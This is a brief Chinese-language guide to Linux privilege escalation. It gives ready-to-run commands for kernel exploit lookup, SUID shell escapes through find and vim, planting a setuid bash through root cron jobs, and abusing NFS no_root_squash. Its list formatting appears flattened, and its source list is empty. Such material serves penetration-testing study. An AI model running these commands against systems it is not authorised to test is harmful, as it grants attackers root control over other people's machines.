Linux權限提升(提權)需利用系統漏洞或配置缺陷,以下是常見方法及對應工具/技術:
通過利用內核漏洞直接獲取root權限,是最直接的方式。
uname -a。searchsploit工具匹配內核版本對應的漏洞(如Dirty Cow、PwnKit)。gcc編譯。利用設置了SUID位的程序以文件所有者權限執行命令。
find / -perm -4000 2>/dev/null。find . -exec /bin/sh -p \;(利用find命令)。vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-p")'(利用vim的Python接口)。通過修改root用戶的計劃任務腳本植入惡意代碼。
ls -la /etc/cron*。chmod u+s /bin/bash等命令,任務執行時獲取root權限。利用NFS服務器配置不當(no_root_squash)以root身份訪問共享目錄。
mount -t nfs <目標IP>:/share /tmp/nfs。cp /bin/bash /tmp/nfs/ && chmod u+s /tmp/nfs/bash。bash。參考來源: